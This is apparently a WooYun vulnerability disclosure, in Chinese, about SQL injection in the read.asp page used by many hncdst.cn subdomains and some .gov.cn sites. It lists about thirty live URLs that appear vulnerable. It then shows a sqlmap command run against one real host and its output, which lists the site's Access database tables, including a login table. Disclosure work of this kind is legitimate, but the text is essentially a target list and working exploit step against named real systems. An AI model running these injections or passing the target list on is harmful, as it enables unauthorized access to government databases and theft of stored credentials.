WooYun.org

注射文件为：read.asp
可注射参数为两个：read.asp?id= 和 read.asp?dl=
演示：
http://yanchi.hncdst.cn/read.asp?id=303
http://yanchi.hncdst.cn/read.asp?dl=便民信箱&xl=&id=19
其他案例：
http://www.hnlxkjj.gov.cn/read.asp?id=1401
http://jskj.hncdst.cn/read.asp?id=1836
http://yanchi.hncdst.cn/read.asp?id=303
http://guantouzui.hncdst.cn/read.asp?id=73
http://weixin.hncdst.cn/read.asp?id=132
http://hupingshan.hncdst.cn/read.asp?id=790
http://www.hncdst.cn/read.asp?id=5716
http://longtanqiao.hncdst.cn/read.asp?id=138
http://cdcxy.hncdst.cn/read.asp?dl=%BF%C6%BC%BC%B3%C9%B9%FB&id=1834
http://dzj.hncdst.cn/read.asp?id=4507
http://wlkj.hncdst.cn/read.asp?id=1314
http://junshanpu.hncdst.cn/read.asp?id=73
http://junshanpu.hncdst.cn/read.asp?id=73
http://potou.hncdst.cn/read.asp?id=182
http://yazigang.hncdst.cn/read.asp?id=126
http://yougang.hncdst.cn/read.asp?id=120
http://datongshan.hncdst.cn/read.asp?id=76
http://cuijiaqiao.hncdst.cn/read.asp?id=309
http://sansheng.hncdst.cn/read.asp?id=64
http://xinxing.hncdst.cn/read.asp?id=117
http://moshi.hncdst.cn/read.asp?id=105
http://hncdst.cn/read.asp?id=5147
http://jiashan.hncdst.cn/read.asp?id=579
http://cdgxw.hncdst.cn/main/read.asp?id=2992
http://yijiadu.hncdst.cn/read.asp?id=21
http://baiyunshan.hncdst.cn/read.asp?id=186
http://zaoshi.hncdst.cn/read.asp?id=161
http://12396.hntyst.gov.cn/read.asp?id=1174
漏洞利用
C:\Python27\SqlMap>sqlmap.py -u "http://hupingshan.hncdst.cn/read.asp?id=160" --
tables
Database: Microsoft_Access_masterdb
[6 tables]
+--------+
| ads |
| book |
| config |
| links |
| login |
| vote |
+--------+